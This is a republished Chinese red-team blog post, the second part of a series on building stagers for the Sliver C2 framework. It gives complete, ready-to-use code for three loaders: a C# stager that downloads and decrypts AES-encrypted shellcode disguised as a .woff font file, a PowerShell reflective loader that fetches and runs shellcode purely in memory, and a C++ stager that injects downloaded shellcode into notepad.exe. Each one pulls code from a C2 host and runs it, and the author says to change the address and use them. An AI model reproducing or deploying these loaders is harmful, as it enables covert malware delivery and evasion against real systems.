红队工具研究篇 - SliverC2 Stager研究(下)

admin 2023年7月3日00:08:09评论55 views字数 15206阅读50分41秒阅读模式

本文是上一篇的进阶研究部分,分别介绍三种更加高级的构造 Stager 方法,包括AES加密、使用PowerShell 反射式加载以及利用进程注入技术。其中在“快速上手”部分都给了完整代码,只要修改参数即可直接上手使用。

一、C# Stager - AES 加密

基于之前的 C# Stager ,添加了 AES 加解密模块。
参考 - https://github.com/BishopFox/sliver/wiki/Stagers#encrypted-stage-example

创建 Stage Listener

在 Sliver 自带的分阶段监听器(Stage Listener)中默认提供了 AES 加密的参数选项,AES 加密参数选项如下:

Usage:
======
  stage-listener [flags]
Flags:
======
  --aes-encrypt-iv  string    encrypt stage with AES encryption iv
  --aes-encrypt-key string    encrypt stage with AES encryption key

这里假定密钥和偏移值分别为 D(G+KbPeShVmYq3t6v9y$B&E)H@McQfT 和 8y/B?E(G+KbPeShV
创建带有AES加密功能的分阶段执行器:

stage-listener --url http://172.16.181.182:80 --profile win64_stage --aes-encrypt-key D(G+KbPeShVmYq3t6v9y$B&E)H@McQfT --aes-encrypt-iv 8y/B?E(G+KbPeShV

红队工具研究篇 - SliverC2 Stager研究(下)

创建 C# Stager - AES

基于前文编写的 C# Stager 代码,添加 AES 解密模块及一些细节处理点。

首先是格式处理部分:将一个字节数组 shellcode 中从下标为 16 开始的所有元素添加到一个 List<byte> 类型的列表 l 中,然后将 l 转换为字节数组并赋值给 ciphertext 变量。

List<byte> l = new List<byte> { };
for (int i = 16; i <= shellcode.Length - 1; i++)
    {
        l.Add(shellcode[i]);
    }
byte[] ciphertext = l.ToArray();

接着就是解密部分:使用 Aes.Create() 创建一个 AES 算法实例。将 key 和 IV 分别赋值给 aesAlg 的 Key 和 IV 属性,并设置 PaddingMode 为 PaddingMode.None,表示不使用任何填充模式。接着使用 aesAlg 中的 CreateDecryptor() 方法创建一个解密器对象 decryptor,用于对加密数据进行解密操作。
然后创建 MemoryStream 对象 memoryStream 用于存储解密后的数据以及使用 CryptoStream 对象 cryptoStream ,用于将流与加密转换器关联起来,对数据进行解密操作,通过cryptoStream.Write 方法将解密后的数据保存至 memoryStream 中。

    byte[] key = Encoding.UTF8.GetBytes(AESKey);
    byte[] IV = Encoding.UTF8.GetBytes(AESIV);

using (Aes aesAlg = Aes.Create())
{
aesAlg.Key = key;
aesAlg.IV = IV;
aesAlg.Padding = PaddingMode.None;

ICryptoTransform decryptor = aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV);
using (MemoryStream memoryStream = new MemoryStream(ciphertext))
{
using (CryptoStream cryptoStream = new CryptoStream(memoryStream, decryptor, CryptoStreamMode.Write))
{
cryptoStream.Write(ciphertext, 0, ciphertext.Length);
return memoryStream.ToArray();
}
}
}

Main函数部分:在下载和执行方法中间加入解密模块的调用。

    static void Main(string[] args)
    {
        byte[] shellcode_encrypt = Download("http://172.16.181.182/update.woff");
        byte[] shellcode = Decrypt(shellcode_encrypt, AESKey, AESIV);
        Execute(shellcode);
        return;
    }

 

 

快速上手 - 完整代码 ?

using System;
using System.Net;
using System.Runtime.InteropServices;
using System.Collections.Generic;
using System.IO;
using System.Security.Cryptography;
using System.Text;

namespace L15_Stage_Listener_2
{
class Program
{
private static string AESKey = "D(G+KbPeShVmYq3t6v9y$B&E)H@McQfT";
private static string AESIV = "8y/B?E(G+KbPeShV";

private static byte[] Download(string url)
{
// 不检查证书
ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => true;
// 调用DownloadData方法,下载指定内容
System.Net.WebClient client = new System.Net.WebClient();
byte[] shellcode = client.DownloadData(url);

return shellcode;
}

private static byte[] Decrypt(byte[] shellcode, string AESKey, string AESIV)
{
List<byte> l = new List<byte> { };

for (int i = 16; i <= shellcode.Length - 1; i++)
{
l.Add(shellcode[i]);
}

byte[] ciphertext = l.ToArray();

byte[] key = Encoding.UTF8.GetBytes(AESKey);
byte[] IV = Encoding.UTF8.GetBytes(AESIV);

using (Aes aesAlg = Aes.Create())
{
aesAlg.Key = key;
aesAlg.IV = IV;
aesAlg.Padding = PaddingMode.None;

ICryptoTransform decryptor = aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV);

using (MemoryStream memoryStream = new MemoryStream(ciphertext))
{
using (CryptoStream cryptoStream = new CryptoStream(memoryStream, decryptor, CryptoStreamMode.Write))
{
cryptoStream.Write(ciphertext, 0, ciphertext.Length);
return memoryStream.ToArray();
}
}
}
}

[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

private static void Execute(byte[] buf)
{
IntPtr addr = VirtualAlloc(IntPtr.Zero, (UInt32)buf.Length, 0x3000, 0x40);
Marshal.Copy(buf, 0, (IntPtr)(addr), buf.Length);
IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}

static void Main(string[] args)
{
byte[] shellcode_encrypt = Download("http://172.16.181.182/update.woff");
byte[] shellcode = Decrypt(shellcode_encrypt, AESKey, AESIV);
Execute(shellcode);
return;
}
}
}

编译执行及流量分析

选择 x64 编译执行后,等待片刻,成功上线 Sliver C2。
红队工具研究篇 - SliverC2 Stager研究(下)

同样,打开 WireShark 抓取流量分析,使用下面过滤器命令可以看到目标主机像我们的C2服务器请求了一份 update.woff 文件,即经过 AES 加密后的 Stager 代码。

http contains "woff"

红队工具研究篇 - SliverC2 Stager研究(下)
经过 7000+ 个包传输,开始建立连接。
红队工具研究篇 - SliverC2 Stager研究(下)

二、Powershell Stager - 反射加载

Powershell Stager 存在的问题

在上部分文章中,我们引出了一个问题,就是使用Add-Type并非完全在内存中执行,Add-Type 会调用 CSC 编译器,将文件写入硬盘中。可以通过 Process Monitor 来监视 Add-Type 的行为:
红队工具研究篇 - SliverC2 Stager研究(下)
因此,这部分介绍使用反射加载的方式来实现真正纯内存中执行。下面首先给出完整的代码、执行效果,后再给出编写过程,主要是这部分比较复杂,一开始放出来难以消化,不懂的话慢慢反复阅读,或者直接把我给出的反射模版直接套用即可。

快速上手 - 完整代码 ?

首先创建一个新的stage监听器,不带加密参数,端口设定为8443。

stage-listener --url http://172.16.181.182:8443 --profile win64_stage

这里先给出我自己编写的最终利用代码,只要修改其中 $url 参数就可以拿去使用了,后面在根据我的思路展开分析。

function LookupFunc {
    Param ($moduleName, $functionName)

$assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$tmp=@()
$assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))
}

function getDelegateType {
# 定义封装方法的参数
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
[Parameter(Position = 1)] [Type] $delType = [Void]
)
# 创建程序集对象、配置访问模式、构建模块和构建自定义类型。
$type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),[System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
# 添加函数原型、设置构造器执行标志
$type.DefineConstructor('RTSpecialName, HideBySig, Public',[System.Reflection.CallingConventions]::Standard, $func).SetImplementationFlags('Runtime, Managed')
# 创建方法、配置方法执行标志
$type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).SetImplementationFlags('Runtime, Managed')
# 返回实例化的委托类型
return $type.CreateType()
}

# shellcode
$url = "http://172.16.181.182:8443/update.woff"
$client = New-Object System.Net.WebClient # 下载shellcode到内存中
$shellcode = $client.DownloadData($url) # 将shellcode转换为Byte[]类型
[Byte[]] $payload = $shellcode

# 通过反射调用执行函数
$exec_mem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $payload.length, 0x3000, 0x40)

# 拷贝shellcode
[System.Runtime.InteropServices.Marshal]::Copy($payload, 0, $exec_mem, $payload.length)

# 创建线程
$hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread), (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$exec_mem,[IntPtr]::Zero,0,[IntPtr]::Zero)

# 暂停等待执行
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject), (getDelegateType @([IntPtr], [Int32]) ([Int]))).Invoke($hThread, 0xFFFFFFFF)

运行效果

直接运行,通过8443下载shellcode代码,再通过9002进行通信连接。
红队工具研究篇 - SliverC2 Stager研究(下)
此时再查看 Process Monitor 就找不到之前的落地文件了。

编写过程及逻辑分析

01 动态查找技术

为了达到完全实现在内存中执行的效果,使用动态查找技术。
动态查找技术需要列出程序集中符合的函数,主要是找到 GetProcAddress 和 GetModuleHandle

$Assemblies = [AppDomain]::CurrentDomain.GetAssemblies()

$Assemblies | ForEach-Object {
$_.GetTypes()| ForEach-Object {
$_ | Get-Member -Static| Where-Object {
$_.TypeName.Contains('Unsafe')
}
} 2> $null
}

精确定位到包含指定函数的程序集中,找到 system.dll 程序集

$Assemblies = [AppDomain]::CurrentDomain.GetAssemblies()

$Assemblies | ForEach-Object {
$_.Location
$_.GetTypes()| ForEach-Object {
$_ | Get-Member -Static| Where-Object {
$_.TypeName.Equals('Microsoft.Win32.UnsafeNativeMethods')
}
} 2> $null
}

在 PowerShell 中,反射(Reflection)是指使用 .NET Framework 中的 System.Reflection 命名空间中的类型和方法来查看和操作对象的内部结构。可以在运行时动态地获取类型信息、访问对象的属性和方法、创建新的对象实例,以及在不直接使用代码的情况下操作对象。

找到了包含 GetProcAddress 和 GetModuleHandle 两函数的程序集 system.dll 后,下一步就是通过反射技术获取到其中的方法。

# 获取到System.dll程序集(对象)
$systemdll = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll') })

# 通过反射获取到类
$unsafeObj = $systemdll.GetType('Microsoft.Win32.UnsafeNativeMethods')

# 通过反射获取到其中的方法
$GetModuleHandle = $unsafeObj.GetMethod('GetModuleHandle')

最后进行方法的调用,第一个参数是要调用它的对象,这里是 Static 方法,没有创建实例设置为$null。第二个参数是含有各参数的一个数组。

$GetModuleHandle.Invoke($null, @("user32.dll"))

02 委托类型

构建委托类型用于定义参数类型,才能通过函数地址调用函数

承接上文,目前已经可以解析函数地址,下一步就是需要定义参数类型,用以C#中解析的函数内存地址配对。在C#中,可以使用 GetDelegateForFunctionPointer 方法来定义参数类型,输入两个参数,第一个是需要定义参数类型的函数地址(上面已经获得了的),第二个是函数原型
什么是函数原型呢?就是一个函数的定义,如下例:

[访问修饰符] 返回类型 函数名(参数列表)
public int Add(int x, int y)

此外,C#中函数原型也被称为委托类型委托类型是一种表示函数签名的类型,定义了一个函数类型,如下例:

delegate 返回类型 委托类型名(参数列表)
delegate int Calculate(int x, int y);

函数签名就是指函数的名称、参数类型和参数顺序的组合,用于唯一标识函数,如下例,

<函数名>(<参数类型1>,<参数类型2>...)
AddNumbers(int, int)

注意的是:函数签名不包括返回类型、参数名称、访问修饰符或函数体。

上面三个是重要的概念,建议反复去吸收,这里也以MessageBox为例子,创建其委托类型如下

int delegate MessageBoxSig(IntPtr hWnd, String text, String caption, int options);

对应的该函数的签名如下:

int MessageBoxSig(IntPtr hWnd, String text, String caption, int options);

PowerShell 没有提供直接方法创建委托类型,只能通过反射的方法创建委托类型。
从Add-Type中可知,委托类型是在编译程序集时创建的,因此需要手动在内存中创建程序集并填充内容

  1. 创建新程序集对象
$MyAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
  1. 配置访问模式
$Domain = [AppDomain]::CurrentDomain  
$MyAssemblyBuilder = $Domain.DefineDynamicAssembly($MyAssembly,
[System.Reflection.Emit.AssemblyBuilderAccess]::Run)
  1. 在程序集中构建模块
$MyModuleBuilder = $MyAssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
  1. 构建自定义类型(将成为委托类型)
$MyTypeBuilder = $MyModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])

名称+属性+类型

  1. 添加函数原型(通过构造器)
$MyConstructorBuilder = $MyTypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, @([IntPtr], [String], [String], [int]))

构造器的属性+构造器的调用惯例+参数类型

  1. 设置构造器执行标志
$MyConstructorBuilder.SetImplementationFlags('Runtime, Managed')
  1. 创建方法
$MyMethodBuilder = $MyTypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', [int], @([IntPtr], [String], [String], [int]))

名称+属性+返回类型+参数类型

  1. 设置方法的执行标志
$MyMethodBuilder.SetImplementationFlags('Runtime, Managed')
  1. 实例化委托类型(反射方式)
$MyDelegateType = $MyTypeBuilder.CreateType()
  1. 得到委托类型
$MyFunction = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($MessageBoxA, $MyDelegateType)
  1. 委托调用函数
$MyFunction.Invoke([IntPtr]::Zero,"Hello World","This is My MessageBox",0)

最后将上面的所有代码进行封装整合,同时添加上 Download 模块(上篇中提及到),就是上面的完整代码了,全部看起来很复杂,但是理解到其中的逻辑和思路后,实际上也没有那么难的。

三、C++ Stager - 进程注入

进程注入是在shellcode runner的基础上进行改进,打开某一进程并让shellcode在其中执行,而非直接运行。那么这里就需要额外添加几部分代码:

  1. 获取目标进程pid的代码块
  2. 打开该进程并拷贝shellcode的代码块

进程注入模块

具体可参考我之前写的这篇文章 - https://forum.butian.net/share/1510
下面也简单的介绍分析下。

首先是获取目标进程pid模块,其主要代码如下,主要就是利用到了捕获快照函数CreateToolhelp32Snapshot(),依次遍历寻找目标进程的PID,详细可参考注释。

int FindTarget(const WCHAR* procname) {
    // PROCESSENTRY32描述快照拍摄时,驻留在系统地址空间的进程列表中的一个条目
    HANDLE hProcSnap;
    PROCESSENTRY32 pe32;
    int pid = 0;
    // CreateToolhelp32Snapshot()拍摄指定进程的快照
    // TH32CS_SNAPPROCESS包括快照中系统的所有进程
    // 返回句柄
    hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (INVALID_HANDLE_VALUE == hProcSnap) return 0;    // 拍摄快照失败,返回0

pe32.dwSize = sizeof(PROCESSENTRY32); // 结构大小
// 检索快照中的信息
// 判定快照是否为空
if (!Process32First(hProcSnap, &pe32)) {
CloseHandle(hProcSnap);
return 0;
}
// Process32Next()循环检索快照信息
// 参数1是快照的句柄,参数2是指向PROCESSENTRY32数据结构的指针
// lstrcmpiA()比较两个字符,相等返回0,将对应进程的pid返回
while (Process32Next(hProcSnap, &pe32)) {
if (lstrcmpiW(procname, pe32.szExeFile) == 0) {
pid = pe32.th32ProcessID;
break;
}
}
CloseHandle(hProcSnap);
return pid;
}

其次就是注入代码部分,打开目标进程使用OpenProcess函数

// 打开进程后返回句柄
// OpenProcess(访问的权限,继承,pid)
hProc = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
            PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
            FALSE, (DWORD)pid);

注入部分就是经典的三件套了

  • VirtualAllocEx 申请内存
  • WriteProcessMemory 拷贝shellcode
  • CreateRemoteThread 创建执行线程
int Inject(HANDLE hProc, BYTE* payload, DWORD payload_len) {
    LPVOID pRemoteCode = NULL;
    HANDLE hThread = NULL;
    // VirtualAllocEx()改变一个指定进程的虚拟地址空间中的存区域的状态
    // (进程句柄,起始地址,分配的内存大小,内存分配的类型,分配内存的权限)
    pRemoteCode = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
    // WriteProcessMemory()将数据写到指定进程中的一个内存区域
    // (目标进程,写入的起始地址,写入的数据,写入大小)
    WriteProcessMemory(hProc, pRemoteCode, payload, payload_len, NULL);
    // CreateRemoteThread()创建一个在另一个进程的虚拟地址空间中运行的线程
    hThread = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteCode, NULL, 0, NULL);
    if (hThread != NULL) {
        // 等待0.5秒
        WaitForSingleObject(hThread, 500);
        CloseHandle(hThread);
        return 0;
    }
    return -1;
}

快速上手 - 完整代码 ?

剩下部分就是下载模块了,这部分就直接参考上篇的 C++ Stager 即可,最终的完整代码如下。后续直接修改 Sliver C2 服务器地址和端口即可直接使用。

#include <windows.h>
#include <wininet.h>
#include <tlhelp32.h>
#include <stdio.h>
#pragma comment (lib, "Wininet.lib")

struct Shellcode {
BYTE* data;
DWORD len;
};

Shellcode Download(LPCWSTR host, INTERNET_PORT port) {
HINTERNET session = InternetOpen(L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);

HINTERNET connection = InternetConnect(session, host, port, L"", L"", INTERNET_SERVICE_HTTP, 0, 0);

HINTERNET request = HttpOpenRequest(connection, L"GET", L"/fontawesome.woff", NULL, NULL, NULL, 0, 0);

WORD counter = 0;
while (!HttpSendRequest(request, NULL, 0, 0, 0)) {
counter++;
Sleep(3000);
if (counter >= 3) {
exit(0);
}
}
DWORD bufSize = BUFSIZ;
byte* buffer = new byte[bufSize];
DWORD capacity = bufSize;
byte* payload = (byte*)malloc(capacity);
DWORD payloadSize = 0;

while (true) {
DWORD bytesRead;
if (!InternetReadFile(request, buffer, bufSize, &bytesRead)) {
exit(0);
}
if (bytesRead == 0) break;
if (payloadSize + bytesRead > capacity) {
capacity *= 2;
byte* newPayload = (byte*)realloc(payload, capacity);
payload = newPayload;
}
for (DWORD i = 0; i < bytesRead; i++) {
payload[payloadSize++] = buffer[i];
}
}
byte* newPayload = (byte*)realloc(payload, payloadSize);

InternetCloseHandle(request);
InternetCloseHandle(connection);
InternetCloseHandle(session);

struct Shellcode out;
out.data = payload;
out.len = payloadSize;
return out;
}

int FindTarget(const WCHAR* procname) {
HANDLE hProcSnap;
PROCESSENTRY32 pe32;
int pid = 0;
// 返回句柄
hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hProcSnap) return 0; // 拍摄快照失败,返回0
pe32.dwSize = sizeof(PROCESSENTRY32); // 结构大小
// 检索快照中的信息
if (!Process32First(hProcSnap, &pe32)) {
CloseHandle(hProcSnap);
return 0;
}
// 循环检索快照信息
while (Process32Next(hProcSnap, &pe32)) {
if (lstrcmpiW(procname, pe32.szExeFile) == 0) {
pid = pe32.th32ProcessID;
break;
}
}
CloseHandle(hProcSnap);
return pid;
}

int Inject(HANDLE hProc, BYTE* payload, DWORD payload_len) {
LPVOID pRemoteCode = NULL;
HANDLE hThread = NULL;
pRemoteCode = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
WriteProcessMemory(hProc, pRemoteCode, payload, payload_len, NULL);
hThread = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteCode, NULL, 0, NULL);
if (hThread != NULL) {
// 等待0.5秒
WaitForSingleObject(hThread, 500);
CloseHandle(hThread);
return 0;
}
return -1;
}

int main(void) {
Shellcode shellcode = Download(L"172.16.181.182", 8443);
HANDLE hProc = NULL;
// 获取目标进程PID
int pid = FindTarget(L"notepad.exe");
if (pid) {
printf("Notepad.exe PID = %dn", pid);
hProc = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
FALSE, (DWORD)pid);
if (hProc != NULL) {
Inject(hProc, shellcode.data, shellcode.len);
CloseHandle(hProc);
}
}
return 0;
}

编译运行上线

同样,选择 x64 release 编译,执行上线
红队工具研究篇 - SliverC2 Stager研究(下)

底层逻辑分析

通过 Process Hacker 和 WireShark 来验证该 Stager 是通过进程注入实现的。
运行时打开 Process Hacker,找到分配的内存空间,可以查看到与WireShark中TCP包中数据完全匹配
红队工具研究篇 - SliverC2 Stager研究(下)

后记 ✅

这两篇关于Sliver Stager的研究前前后后花了一周多的时间,总结出来方便以后实战中的使用,当然,实际场景下的运用有机会遇到也会分享出来。这块内容也还是有拓展的地方,比如在Powershell中实现AES加解密、一行实现Powershell反射加载等,这些算是留给读者的作业了,可以基于这两篇文章去尝试。

转载:https://forum.butian.net/share/2275作者:xigua欢迎大家去关注作者

\

 

原文始发于微信公众号(星冥安全):红队工具研究篇 - SliverC2 Stager研究(下)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年7月3日00:08:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   红队工具研究篇 - SliverC2 Stager研究(下)http://cn-sec.com/archives/1849886.html

发表评论

匿名网友 填写信息